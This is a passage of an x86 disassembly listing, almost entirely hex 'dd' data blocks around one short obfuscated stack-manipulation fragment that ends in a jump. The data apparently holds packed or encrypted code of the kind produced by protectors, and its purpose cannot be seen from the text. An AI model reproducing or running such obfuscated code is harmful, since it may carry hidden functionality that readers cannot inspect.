		dd 83AE51E0h, 1A8496EDh, 2011EEB9h, 0E3873BD3h,	3A9E113h
		dd 0C4B168D0h, 57642B16h, 927BC896h, 78657B84h,	60674C94h
		dd 0B0E84E1Ch, 89D65BA4h, 574096E4h, 1805BC2Ch,	5D51C06Ah
		dd 5515CEEAh, 7AF558E9h, 2C297E14h, 0CCDA91FBh,	15ADFA2Fh
		dd 2FDDCADDh, 0AF517C47h, 8182AE1h, 0ED75FC80h,	4A40BA09h
		dd 359B17B9h, 81B96085h, 2809F6D8h, 74BD4292h, 0DC16ABBDh
		dd 0EFA5EDE6h, 0C64D0EB7h, 0C884C8BCh, 0C8AAF732h, 0CAAF732h
		dd 0A3075AB0h, 0F6A25331h, 37BA3AA0h, 13966325h, 2961F263h
		dd 3FC09765h, 0F30C5CF2h, 0AA75873Eh, 8EA35EC3h, 1FF5A941h
		dd 5C053D24h, 465D867Ah, 90A36A9h, 0F095E248h, 0E1F654A2h
		dd 0CAD210F4h, 92CA9884h, 8D6E7986h, 50A0369Ch,	913582AFh
		dd 0Dh,	0FC1158F4h, 91D42B0Fh, 0ADE5B354h, 0FB1EC69Ch
		dd 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h
		dd 32ED2B4h, 811D4B6h, 821D9BBh, 89566FBBh, 0B1B951E6h
		dd 810E096Bh, 0B9596FE9h, 89C18175h, 8179FA34h,	0B5B939C1h
		dd 59CE01EDh, 8704EE83h, 685C2434h, 311Bh, 52240489h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 0C895C24h, 0BEBB5324h,	0F70AFF11h
		dd 86F381DBh, 817B4832h, 1976D1F3h, 2EBD5531h, 31BABC3Fh
		dd 0D8895DEBh, 4EC815Bh, 89000000h, 4812424h, 424h, 51525900h
		dd 0CA89C189h, 8518959h, 2434FF5Ah, 4C48159h, 0FF000000h
		dd 81582434h, 4C4h, 0E62DE900h,	9002FFF9h, 0B8DC47DDh
		dd 5ED99C9h, 0E0FFC503h, 5AEA97D5h, 26B9CD55h, 7B287E66h
		dd 2010258Eh, 6B83FAD9h, 674E5074h, 7D84A5B0h, 4AE7E3AAh
		dd 5E8706F1h, 41BB4D21h, 57511EDh, 520A54B4h, 1705C91Ch
		dd 522B7E73h, 74B2092h,	78E644EBh, 62CE716Bh, 26A63Ch
		dd 2400C1ACh, 1E557DC0h, 49E05128h, 5769C273h, 1F176CDEh
		dd 3AEEEEFDh, 2BE5B2A2h, 418DA07Fh, 61E5F3A5h, 42C7AFA7h
		dd 6CE7FF31h, 1E5ECEE2h, 67F0D92h, 4A30EB44h, 9BA88D8Dh
		dd 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0F2588EC3h, 959D0B4Dh, 0F905E721h, 1AA98D89h
		dd 0B58B05E7h, 5E71521h, 2A4D85C7h, 66E805E7h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0AA398AC3h, 908CC0B0h, 273985C7h, 5E7h, 858B0000h, 5E72F51h
		dd 0D6A627BEh, 95B5FF45h, 3105E705h, 0E70435B5h, 9595FF05h
		dd 6A05E717h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 6295C352h, 0F25E4C3Fh,	2459BD23h
		dd 6A05E7h, 21C195FFh, 0C08B05E7h, 0C7DF4FEBh, 3DCADBBCh
		dd 0DF45450Bh, 54CDD5CBh, 7899A551h, 0B4FE0463h, 462A6C97h
		dd 6EBA3CD9h, 0B5B91CDAh, 13FA1377h, 65CBCFCFh,	54D9AE12h
		dd 0AAC5C48Dh, 6196E3B4h, 0C157DE0Dh, 3EF8DC99h, 2449461Ah
		dd 0CDEAAF03h, 58B5E0A3h, 7E8AC303h, 8E82Ch, 0CBE50000h
		dd 0AB312E3Bh, 0EE9639Bh, 68000000h, 96EF108Dh,	0EB2FC195h
		dd 5246F5B6h, 56B65E19h, 6220C681h, 0E18A0000h,	0F88AFF2Bh
		dd 33734FFh, 0E714659Dh, 0D2815905h, 41454A84h,	171BE981h
		dd 10E9451Ah, 73000000h, 8F1D3AC3h, 2BFD7110h, 5708F0F1h
		dd 818D10FBh, 359F3C1h,	6DF28166h, 811AEEC3h, 0A60331C1h
		dd 5D85893Dh, 5105E703h, 2BFD958Bh, 48F05E7h, 13E93Eh
		dd 3EA10000h, 0A8EE9A81h, 5EC837B3h, 94DB3696h,	6393804Eh
		dd 0B70F53B1h, 0EF8358C6h, 81958B02h, 4F05E72Ah, 18860F4Fh
		dd 0E9000000h, 13h, 0D4059A4h, 13607AC7h, 94C0E80Dh, 35F6125Dh
		dd 81D54C4Ch, 0FF9EA8FFh, 61850FFFh, 0FFFFFFFh,	14E8C6BFh
		dd 0F2000000h, 377088DAh, 757CF1FFh, 366B1573h,	0E3E68226h
		dd 526AD008h, 5859DA8Ah, 11E8h,	449CD600h, 0FFE08D38h
		dd 114E8720h, 567683B6h, 81567A77h, 25363F7h, 81595B09h
		dd 5BDFC0h, 0C5BD8B00h,	0BA05E721h, 60F9C54Dh, 5177C281h
		dd 81669F06h, 8BAC45DBh, 0BD858930h, 8105E723h,	0BE1391EEh
		dd 7DBD8B71h, 8105E724h, 9DEFA3F6h, 13E85059h, 0AF000000h
		dd 9E73687Fh, 1BF1A4C6h, 208144D3h, 0E958EBA9h,	6160AFD4h
		dd 0C6815F59h, 22986C4h, 8156EC8Ah, 8EBDF9CBh, 0E8008F23h
		dd 8, 8487C613h, 0BD10CB5Ch, 835BCE8Bh,	0E95304E8h, 0Fh
		dd 48C30946h, 4FB320ABh, 0BC7E9A31h, 5F4FECA0h,	1EA81h
		dd 850F0000h, 0FFFFFF83h, 4EB0CB7h, 1829966Dh, 4CBE9h
		dd 0AB6E7600h, 0F435C515h, 42D70E5Eh, 8DA45CACh, 0D554A7F7h
		dd 9ABD263Fh, 0E232C861h, 2F7F151Ch, 79C95FD2h,	4015AB86h
		dd 70563A27h, 0F8DE5A7Fh, 0F839C673h, 16B0C2ABh, 12F6E3E7h
		dd 9A5491E4h, 0F10718CCh, 0C62C05FBh, 0DA3E220Fh, 0F8C65491h
		dd 0E247B4C0h, 4CDD1D2Bh, 2DD22214h, 0C0CEB704h, 0AAB6EE3Bh
		dd 1725DC55h, 66FE4BCEh, 57A3852Eh, 0F4061BD2h,	0CEB06ADCh
		dd 997D0CFEh, 215491DCh, 0C0721B53h, 0CEE07E8Ch, 5ED26022h
		dd 0BC87CABh, 1644FBDEh, 0BD424E86h, 50AFBD74h,	67B7A9E1h
		dd 0B101979Ah, 0B294E150h, 0F398E54Ch, 26B24856h, 92B45539h
		dd 0A90FDD54h, 0C88CC45Ch, 53DE2332h, 9F926DBDh, 0B4B29152h
		dd 0CA7B5492h, 0B4E4C8B5h, 9E6C5492h, 2154A266h, 457C1D77h
		dd 5C58h, 8F30100h, 43CD421h, 50B1BFF3h, 61C76A97h, 4FE21D29h
		dd 0D3634102h, 0CA2C5491h, 0FF0C1E3Ch, 0E6978FD6h, 38F905B5h
		dd 331B53EBh, 457CED89h, 16Ah, 34C61500h, 34C6A8F5h, 3AC6A8F5h
		dd 90DD54ADh, 934592F8h, 2A0EFB10h, 0B25491D4h,	12E8ACE4h
		dd 0DC72B743h, 28BE738Ch, 0F435C6D3h, 6D6B2B3Dh, 6D472B18h
		dd 1CF5492h, 0D32FF14Dh, 0EA10F29Bh, 0F010F23Fh, 759F81F3h
		dd 0EA509472h, 0EE43BB9Dh, 0FDDCDA1h, 1AF0E082h, 0B62FB04Bh
		dd 1067FD63h, 0FA32FF02h, 2BD611EEh, 6A53A006h,	36846855h
		dd 3E0C5492h, 2EEBFA06h, 0C41218E1h, 7C99F791h,	44D845h
		dd 0C6830000h, 0C5A7F435h, 0FAACF920h, 0DA2130C6h, 9269B94Fh
		dd 98684A97h, 2E834C99h, 1A52DF20h, 3BD58056h, 1C457CFAh
		dd 3Ah,	0F435C6C7h, 0F53CC5A7h,	243633A8h, 3992C7E2h, 1FE31BF3h
		dd 0A8817AC9h, 34C6BD12h, 8E7A8F5h, 0D15491D4h,	0EE6D0E20h
		dd 3A9C1821h, 0BDA83E02h, 457C9713h, 1F4h, 1FC69F00h, 0B6C4ADFAh
		dd 0A2AEE64Bh, 0A587D45Dh, 0A688D55Ch, 0B488D554h, 0F66936C4h
		dd 0E20352A8h, 8CB7A137h, 4250651Ch, 8C2471B8h,	0FC966954h
		dd 21E5176h, 2BBB17CBh,	76C32963h, 30C66B94h, 0C5121FE0h
		dd 79682604h, 9167155Ah, 0DD54ADBBh, 0CB6699A5h, 2FD0DE35h
		dd 41BECA02h, 87D455A6h, 0C4D289EFh, 15BEF63Bh,	1865CC33h
		dd 0AF865444h, 1F4BE150h, 409B6875h, 13756h, 0FB2C0100h
		dd 38FE4443h, 0A2088FCAh, 1DC4D6EBh, 632EF1B8h,	0A209F42Ch
		dd 0A251778Dh, 0EB0F1DD4h, 941C00EDh, 0D6A45A79h, 538B2370h
		dd 0FA37C8AAh, 46EB1464h, 0FFE817F9h, 7FCC32FFh, 162DBBABh
		dd 86B248E9h, 409B3CDCh, 3FF20E1Ch, 0B0225AF2h,	54h, 92E42C5Bh
		dd 0D3DAEEDBh, 0CAE25491h, 4895FB36h, 91D4A387h, 0B4C67154h
		dd 0C0D53121h, 6CA023Bh, 0B54C5AF0h, 984D2F7Ch,	3DE31B81h
		dd 0DAECA315h, 2066E596h, 0D7EA2231h, 0E64BB4C2h, 99AFC3AEh
		dd 0E9B75492h, 46352032h, 5D9B7FC9h, 91213325h,	84000000h
		dd 5340FB2Ch, 5491D36Fh, 0E02DECF9h, 62C89648h,	0DB67BEABh
		dd 19E75176h, 1C15EACCh, 68C93686h, 0DDF15A1Bh,	0EAFB5A78h
		dd 0E500E22Fh, 9F4FE734h, 0AD81CE5Bh, 0E9182FBDh, 0FD63FB48h
		dd 67FE0CBAh, 0AC039998h, 4291B19Ah, 79397155h,	772BF95Ah
		dd 3B736251h, 43FA6295h, 63E41556h, 707E9D57h, 2E12A190h
		dd 0B1606706h, 6705E0C4h, 0E89A6860h, 8567B41Ah, 0C56AB77Ah
		dd 8F161628h, 79375BE6h, 3E6F7D41h, 0FFECA315h,	5D520FBEh
		dd 8DE27846h, 0B447FB2Ch, 6B580F75h, 517C4F2Ah,	0C7AB98ADh
		dd 4F5A7F70h, 6D3B4981h, 94253720h, 0EA9D68B9h,	847B87BFh
		dd 12E8F6ADh, 0FA32CA17h, 0EA47B808h, 0B29FB49Dh, 5A7EF0CEh
		dd 0D88AA758h, 98E7D20Ah, 4A4F4305h, 5C6AC016h,	20DE8EA3h
		dd 32CDD911h, 0E61969FFh, 15FE4Bh, 43262F13h, 0B1E9B778h
		dd 89D65BA5h, 0F14096E4h, 3D8D230Eh, 39226FC2h,	5484A027h
		dd 0B435601h, 33Dh, 1358A000h, 0AEFB1EC6h, 0B1FE33CCh
		dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h
		dd 0BB0811D4h, 0BB0821D9h, 0E689566Fh, 4C681h, 0BD550000h
		dd 4, 875DEE29h, 685C2434h, 1CD2h, 68241C89h, 76F8h, 68243C89h
		dd 670Ah, 0BE243489h, 317F7007h, 2DA9C681h, 0F389D46Eh
		dd 3C8B545Eh, 4C48124h,	52000000h, 57895A53h, 3C8B5A08h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		db 0B0h
		dd 5C374A2h, 0EDA204B8h, 0FFC50305h, 0BFB59E0h,	0D812566h
		dd 3067EF1Dh, 3D339521h, 0A0885027h, 7D476E0Ch,	4A539009h
		dd 94608904h, 0C143777Fh, 5589B77Eh, 9433CD4Ch,	0A6AE2E0Fh
		dd 1B90934Bh, 67E3F170h, 6C4A865h, 796D5C5Ch, 6F824F68h
		dd 0EDA66057h, 0D8C79E21h, 0DB86D515h, 0B83AA201h, 6838E778h
		dd 4E931D4Ch, 0A3EA9A77h, 0FAD51239h, 0D8123D48h, 4BD30303h
		dd 0EFB4D66Ah, 5052A92Ch, 0F5A5311Dh, 0D58D8D26h, 8005EDA3h
		dd 8B669EDBh, 0A98D89C1h, 6A05E71Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 2644C357h
		dd 319F5A30h, 0E72E5995h, 0C7D88B05h, 0E72A4D85h, 719C05h
		dd 199D3100h, 0C705E700h, 0E7273985h, 5, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0F1B5C34h, 685h, 0F1BD3100h,	0FF05E703h, 0E7015DB5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 63C3EA2Dh, 816679A1h, 0FF18BFDBh, 0E7179595h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 216A6840h, 6A5C0F30h, 0C195FF00h, 8B05E721h
		dd 3A78EBC0h, 0DA58E6E9h, 9764C566h, 8A21041Ch,	212B184h
		dd 83067DCCh, 3A2CEF86h, 9425FC00h, 0E5A94220h,	41C7EAC9h
		dd 0D20EEF58h, 0D527205Fh, 0C3406FC1h, 360B78F1h, 4E1AB606h
		dd 224AD4EEh, 504AB207h, 3343A1CDh, 1242AB92h, 4EDE12B5h
		dd 7285176Ah, 46E32429h, 0A80216A0h, 0C5B98C77h, 0DAE12B8Dh
		dd 5FBBCB65h, 31D63B53h, 33868F63h, 5AE1AB87h, 0A642B736h
		dd 0E866E4C4h, 6, 0B2A0C26Bh, 0D08BA1DDh, 0E1BD895Bh, 8105E70Ah
		dd 631DC3h, 128F0F00h, 0E9000000h, 0Dh,	5D00E151h, 0B9660666h
		dd 0AB5D4F0Fh, 0AF62BF27h, 0EF8152FCh, 52FC96BFh, 0E933FFFCh
		dd 13h,	0BBAAF24Fh, 0F1BED05Ch,	0B5EB44EDh, 1E34E871h
		dd 58ED6DB3h, 1B75BD89h, 0E88105E7h, 20956288h,	1479952Bh
		dd 0E88105E7h, 5AFABA6Bh, 136D9529h, 0C08105E7h, 6D84E17Bh
		dd 0C88B6650h, 0B589038Fh, 5E70A01h, 8304EB83h,	850F01EFh
		dd 0FFFFFFA9h, 0C6C68166h, 6E856h, 0B76E0000h, 897225EAh
		dd 5BF18B66h, 0B35B58Bh, 0C38105E7h, 6102h, 12E9h, 0B1668E00h
		dd 935790DCh, 38FA16E8h, 0EB316E73h, 68A00700h,	0
		dd 0BD5858Bh, 805A05E7h, 3C8B6BE5h, 0DAC88013h,	7361F781h
		dd 81FC52CFh, 675CE0F7h, 0BDB58B19h, 8105E701h,	855A83EFh
		dd 918D8B06h, 5705E70Eh, 13048FF9h, 68A0Fh, 0B5290000h
		dd 5E7197Dh, 314FCE81h,	0EA811F83h, 184AECE3h, 1FDDB529h
		dd 0C28105E7h, 184AECDFh, 99F08166h, 0B8FA8199h, 0FFFFF9Fh
		dd 1385h, 1DE9F500h, 0B9000000h, 11F86549h, 0CE0B5038h
		dd 0EE1CA13Ch, 0FF88E9F5h, 6460FFFFh, 53FFC980h, 3A64E25Bh
		dd 89A07582h, 78146908h, 7B8DA6DCh, 8635C243h, 8635A12Eh
		dd 13D92590h, 5302548h,	611D2899h, 23F2517h, 86302581h
		dd 0AD499807h, 893020A5h, 86305EA5h, 23B5E390h,	0C835C27Ah
		dd 863021CCh, 0C4E76512h, 0C2BB75A1h, 86BB21A0h, 821461CBh
		dd 8B85DA79h, 0B35C2BDh, 6C4D84CDh, 0DE0DA21h, 23B5E3E2h
		dd 0C835C23Bh, 0A9CFC4ECh, 0A204A4A7h, 0CB5D0D80h, 0AD49906Fh
		dd 3BD20AFh, 83DA5885h,	7EBBF5EDh, 863035B0h, 8638CC84h
		dd 89962542h, 86302BA4h, 4F3B6C90h, 79C0A047h, 8BD9DADBh
		dd 0B302512h, 617D0194h, 86359D81h, 65CF2542h, 239F98ACh
		dd 0BBD207Dh, 83DD833Dh, 0B615379Ch, 47FF0E94h,	89A07582h
		dd 78146908h, 7B8DA6DCh, 8635C243h, 8635A12Eh, 13D92590h
		dd 5302548h, 0E9832899h, 0B9A4F305h, 22h, 0CE8h, 77F3400h
		dd 426A6B49h, 0CBAF4A1Bh, 0F2BF0F05h, 0E595895Bh, 8105E721h
		dd 6964C3h, 0B8F88B00h,	4A0E9520h, 7AF4E881h, 95894A0Eh
		dd 5E72E35h, 5E9138Bh, 0AC000000h, 1E462994h, 3881F281h
		dd 0B58B5E71h, 5E721A1h, 5844F281h, 0B58B79C6h,	5E72991h
		dd 0A8FC281h, 8B600F31h, 0E720F995h, 8961F905h,	0CE913h
		dd 30520000h, 0E86448D6h, 0D3F28EB1h, 0EB81414Dh, 7D433C25h
		dd 16FDB58Bh, 0C38105E7h, 7D433C21h, 69C4B966h,	1E881h
		dd 850F0000h, 10h, 1BB5B58Bh, 16E905E7h, 4B000000h, 0CB27A6F7h
		dd 81E9FE8Bh, 7FFFFFFh,	0EBEFDB3Fh, 0C649CF6h, 7E82Ah
		dd 0A9C90000h, 51C64572h, 68E0F07h, 8B000000h, 0E725DD95h
		dd 9D2B5E05h, 5E72F45h,	5A3EC681h, 800F0000h, 0Dh, 41BD8B60h
		dd 0BF05E71Dh, 6D34B7B9h, 8F80B861h, 0C0816AD0h, 952F86E4h
		dd 1B498D31h, 36FF05E7h, 13E9h,	9A2E8200h, 44357E45h, 0A24008F3h
		dd 7DB86224h, 0F86F09DAh, 81D98B5Fh, 8D6CB3F7h,	0D08B6661h
		dd 0C3B1C781h, 9D895641h, 5E71609h, 0CB67F781h,	85B330F4h
		dd 8FCB8B57h, 8E906h, 5B0C0000h, 0E23CE1B5h, 0EE83C22Fh
		dd 9AB96601h, 4E4E4E9Bh, 2E358589h, 0E88105E7h,	1, 0FF98850Fh
		dd 0BD89FFFFh, 5E71539h, 0A9098D8Dh, 6A05EDh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0B21E25C3h
		dd 8950573Bh, 0E717E1BDh, 8F0F5E05h, 16h, 0AE8h, 4694A00h
		dd 6F21A31Ch, 8971D720h, 0E729098Dh, 8D895F05h,	5E71AA9h
		dd 85C757B0h, 5E72A4Dh,	5B88h, 273985C7h, 5E7h,	850F0000h
		dd 19h,	14E9h, 24EB3500h, 12C07615h, 5F16F73Bh,	0FCCF484h
		dd 18A160B8h, 55B5FFB4h, 6A05E715h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E937C352h
		dd 0Fh,	1C8A2970h, 0AB0B1B89h, 99D95D05h, 0FF5FE744h, 0E7179595h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F94835Ch, 889h,	0BD8B6000h, 5E71541h, 0B1BD8961h
		dd 6A05E721h, 0C195FF00h, 8B05E721h, 7D1CEBC0h,	923BCFBFh
		dd 135FD03h, 9D2D9295h,	573ABD29h, 0DCDDEF7Dh, 0B05C1B1Ch
		dd 0EB6CA522h, 0CF5F0904h, 85BE948h, 0E9FB0000h, 0B04A9A30h
		dd 5293E379h, 1FE131C7h, 0CF2C7C12h, 42ABC45Ah,	0B74DDC1Fh
		dd 49A9767h, 4EE44DB4h,	9A3001FEh, 0DBBFACC5h, 635A7F7Ch
		dd 27E4F67Dh, 54DAD71Fh, 0E7AFC0F8h, 5491D408h,	598A7583h
		dd 2331B43h, 0A2DA402Eh, 32C86996h, 0F6AD1F48h,	77A46209h
		dd 0C714E251h, 7D1316E5h, 125FD22Dh, 6A2F1729h,	0AAAEA8DFh
		dd 4A996672h, 5EE32913h, 0C9167C05h, 0CA171AE7h, 0CF1CFDE8h
		dd 8E13E91Dh, 57EEFCECh, 0C7F389A8h, 409B0E1Dh,	4AFEh
		dd 35C6A900h, 36C5A7F4h, 0E2D2A6F3h, 6BBE3D14h,	0F8FFA9D5h
		dd 30E0457Ch, 8B000000h, 36CEADBFh, 17606ABEh, 926A462Ah
		dd 9A00CE54h, 6B12F6E3h, 0CC9A5492h, 0B6738894h, 6AC9A869h
		dd 0F0D25492h, 79B04B1Ah, 1FD1E3h, 0C6340000h, 0DD54AA35h
		dd 0B648F890h, 7C8157Bh, 5491D429h, 0C59C6A18h,	0DB56A936h
		dd 0FA90F68Eh, 91FB2CA5h, 0D63AEDDAh, 0A8BD5176h, 3B27396h
		dd 6BFA12D8h, 5A79B887h, 9244ED11h, 0B07E8CC4h,	78657A63h
		dd 5A79B894h, 0A164E1Ch, 1C00EDDBh, 0A45A79B9h,	0ABB970D6h
		dd 0F890DD54h, 6277CEC0h, 79B89175h, 134B195Ah,	0FDEADE07h
		dd 5A79B919h, 0B8CBAF9Ch, 85535A79h, 529F05D3h,	843BADD6h
		dd 5EA57C97h, 69B68457h, 0D16076C4h, 8B01B714h,	0DE2B06F9h
		dd 7C69246h, 0B8089E04h, 0DE9FEC2Dh, 6060C40Ah,	78C56C94h
		dd 79C66B96h, 5A27B5A5h, 0ED4492EEh, 368B21F8h,	0DD94E62Ch
		dd 0E85614CBh, 0C0F804DAh, 0C64229AFh, 0E043F839h, 0AF6A7B89h
		dd 50EA6677h, 31467CF0h, 39h, 94E62CDCh, 98AABFDFh, 46DA332Ah
		dd 614C848Bh, 54924F7Dh, 0BF823705h, 0FA1FC6ACh, 5D412E43h
		dd 0E55491D3h, 0FECEDF17h, 3E046Dh, 50650000h, 91D37F63h
		dd 1390754h, 94E62CF0h,	9CAABFDFh, 0B081805Fh, 2D65CB63h
		dd 91D35E42h, 0CC13D54h, 1FC6ACBFh, 91DE4BB0h, 77B249F9h
		dd 772C922Ah, 69566BFEh, 5491D385h, 0F6073F0Dh,	0ABF839C6h
		dd 9552FCEAh, 2E03FE54h, 32FFFFE1h, 0E9FF33E5h,	1AF024A4h
		dd 5E422F44h, 0E6549655h, 9A976818h, 717DB54Dh,	0DAECA38Eh
		dd 8F0C4978h, 0A395CD6Eh, 664A374Ch, 0EE54966Ch, 1FDCE820h
		dd 1D41530Ah, 470BF194h, 86681149h, 9367B475h, 0E9F755A3h
		dd 34CC1918h, 1E0BF0FCh, 0C2233188h, 8D371F57h,	6E45784Ch
		dd 2Ah,	0F839C619h, 94042FABh, 0C6B9F0DDh, 6B395176h, 6BBE3C1Eh
		dd 6FC23C1Eh, 24DA8A22h, 9D4BC00Dh, 8EC2424Fh, 1B16E978h
		dd 39C63085h, 0D3D6BAA7h, 905E5491h, 0D261732Ah, 0F9E1A21Ah
		dd 8602ABE3h, 4734EB5Dh, 5176D05Ch, 795D4A5Fh, 15A78F2h
		dd 1FEDFB33h, 0DFF35668h, 5CB7A483h, 0A53D8A9Fh, 0C015073Fh
		dd 0DF94E62Ch, 39C64229h, 0B1BF43F8h, 0CA34E44Dh, 0E63D2F67h
		dd 0F237C3D1h, 9A7E0DA5h, 205491D3h, 0A78A67FAh, 25F3A519h
		dd 0AABFDCEDh, 91D3D9BDh, 27155F54h, 0A916ABE9h, 1120DFF7h
		dd 8EC62CC4h, 7C11ECA6h, 0F03A4C46h, 71FF849Eh,	5DD42DDDh
		dd 3FB325h, 2C5E0000h, 725643E6h, 0FA5491D3h, 0BF11C62Ch
		dd 0CF629CAAh, 0C7B2EA82h, 5491D3E3h, 8792536Bh, 0ACBF6C21h
		dd 43FA1FC6h, 0B569B035h, 0E3D0243Ch, 98A9E122h, 0B1BF6DFEh
		dd 0DEACE44Dh, 55h, 46E62C41h, 30F97605h, 221BC4DBh, 0CE208CEBh
		dd 0BF4D0268h, 91D3EED2h, 9C51CD54h, 0D9BDAABFh, 615491D3h
		dd 41394D45h, 66E664h, 0BFA2B5C8h, 97E44DB1h, 0D3DDC1AEh
		dd 97655491h, 0F8EDF931h, 43556A21h, 0DE35BB41h, 896DFCC4h
		dd 11549206h, 0FEFA0B43h, 0F839C66Dh, 64CD3341h, 9E477F17h
		dd 0D75AA7B5h, 0CFBAF28Ah
		dd 549552E1h, 3A09DF13h, 86D66CC5h, 0EBFDB475h,	0B8479BB3h
		dd 23A4C579h, 0E3C56EA6h, 0F0C41118h, 0D35EA3B1h, 3201D79Bh
		dd 9ECA60C9h, 457828F4h, 49D5h,	0B1BF8000h, 0CB66984Fh
		dd 48801865h, 0B76EC33Ch, 8DDA57A9h, 9814BDF5h,	5946FD6Fh
		dd 5176DB02h, 0EBFDB482h, 3958B3A4h, 906B1B57h,	6B86199h
		dd 0D22D04D2h, 3F3B4F11h, 77DD34FFh, 7F7C8AE1h,	8BFFF6AAh
		dd 5B4C798Fh, 39C61223h, 42FABF8h, 0B6C8DD94h, 0D47DBA89h
		dd 0DF52AC9Fh, 0DF564179h, 0DF51772Eh, 2C267B11h, 0A4CB46E6h
		dd 742156BBh, 0B9CAC5C0h, 0C42A2428h, 0BF42290Fh, 0A9E150B1h
		dd 1ACF629Dh, 50EA8BE0h, 31467CF0h, 3Ah, 47B7C5DAh, 76059DEAh
		dd 5791D392h, 3144C1Ah,	0E24FB1BFh, 6CCE04AAh, 0EED2BFB7h
		dd 715491D3h, 45929763h, 2E949D63h, 651AE8F6h, 1FC6ACBFh
		dd 6DFE45FAh, 2604h, 0E62C6700h, 540FA046h, 72D837FAh
		dd 0EED2BFBDh, 0CD5491D3h, 0AABF9C51h, 35784198h, 82BA1598h
		dd 0FA1FC671h, 0C66DFE45h, 0EAABF839h, 549552FCh, 4499AB2Eh
		dd 0EDB338EAh, 47955991h, 8C220FF0h, 216EC33Ch,	59D02A38h
		dd 963C740Ch, 5744FB6Dh, 517B181Ch, 0EB40D6A4h,	0DD94E62Ch
		dd 0D3F7DBC8h, 0B17F5491h, 42296879h, 0D9BDAABFh, 615491D3h
		dd 0B04F5B93h, 0B1BFCC81h, 0CA679A4Dh, 327FE57Dh, 1B70629Ah
		dd 9750B1BFh, 1764CA67h, 828EF231h, 0EC524770h,	4032CCB4h
		dd 2F13467Ch, 0BE000000h, 0DD94E62Ch, 0D3F7DBC8h, 0B17F5491h
		dd 0D2BF6879h, 5491D3EEh, 0BFF3A876h, 0FA1FC6ACh, 0F9F13143h
		dd 497D0B85h, 6DFE0011h, 3A04h,	0E62C6700h, 0DBC8DD94h
		dd 5491D3F7h, 9A97677Fh, 0BFEBFC34h, 0D3D9BDAAh, 93615491h
		dd 2533485Bh, 41F00ED9h, 46F68EDBh, 523D75B4h, 5491D36Eh
		dd 0BF1CD14Dh, 0FA1FC6ACh, 0C66DFE45h, 0D6BAA739h, 5E5491D3h
		dd 1CDD2A90h, 5495532Eh, 87DE2C60h, 0D323B978h,	3CB8052Ch
		dd 85A4570Bh, 7B681Fh, 3517B5Eh, 25DC0BF5h, 0C159A60Ch
		dd 0F6AD7B89h, 5F10F4E1h, 80985A7Dh, 0CB63B081h, 0E63B2D65h
		dd 0DF94E62Ch, 0AABF4229h, 91D3D9BDh, 939E6354h, 0CFDB13E1h
		dd 0E04C0130h, 4EB1BF8Bh, 0C6FE96E3h, 7CF024DEh, 372546h
		dd 2CD00000h, 0BFDF94E6h, 91D3EED2h, 6F5C7154h,	5491D38Bh
		dd 0FF0D4513h, 0ACBF7C31h, 0E534B1BFh, 0BCC80098h, 0BF3BF029h
		dd 0D3D9BDAAh, 93615491h, 4F6875Bh, 49h, 94E62C67h, 0BDAABFDFh
		dd 5491D3D9h, 71554261h, 0F95491D3h, 7A8DC52Bh,	91D3A98Dh
		dd 0E11E2C54h, 0B46B0350h, 91D3E3C7h, 659D6B54h, 0BF7D32AEh
		dd 0C4A895AAh, 4C5491D3h, 0BF35467Eh, 0A7DF4AB1h, 7B854A9Bh
		dd 0FE9B50B6h, 4DB1BF6Dh, 7CC9609Ah, 99317EE4h,	0E01811E9h
		dd 0B9062BD4h, 0A8580A3Dh, 3EA43C89h, 0C8D39A87h, 3C4E5176h
		dd 3A8C0AF8h, 87641856h, 319F778Fh, 0A97785BDh,	171AE4F2h
		dd 0D003EDDFh, 5DA3B168h, 12A187D4h, 0EAF2E2B8h, 0C6B36AD0h
		dd 5A78F0E2h, 51649C6Ah, 6397A864h, 15623057h, 2714CC33h
		dd 60669943h, 0B40118CDh, 0A9526A1Ch, 946A1A80h, 51A1379Dh
		dd 0BECC83AEh, 0BFA1EE43h, 558DF326h, 0BBB1C3ACh, 1E774BFDh
		dd 62321D55h, 14258827h, 0C43B0AE0h, 0B4A1B66Dh, 0AD89A9D0h
		dd 60528A58h, 0F542EF10h, 0F744ED13h, 5FF60452h, 78B947A0h
		dd 0AAF732C8h, 0C616AC12h, 0D6BAA739h, 5EAD89A9h, 65732A90h
		dd 0B7609899h, 313h, 13587600h,	0AEFB1EC6h, 0B1FE33CCh
		dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h
		dd 0BB0811D4h, 0BB0821D9h, 7D11686Fh, 2C890000h, 0E0895024h
		dd 405h, 42D00h, 4870000h, 0C895C24h, 7A8B6824h, 14890000h
		dd 73B85024h, 0C128D350h, 632D03E0h, 5040ACDAh,	5B240481h
		dd 596DAB68h, 685BE981h, 54586DABh, 8324148Bh, 0B85004C4h
		dd 6ADB2970h, 0D8F7D0F7h, 502E8C1h, 0E54935ACh,	889D001h
		dd 24148B58h, 81E68956h, 4C6h, 4C68100h, 87000000h, 0FF5C2434h
		dd 81592434h, 4C4h, 0CF01E900h,	0BA7AFFF9h, 0B108B8BCh
		dd 0C50305EDh, 92E6E0FFh, 13380974h, 0AE4F30BBh, 0AA6C6D83h
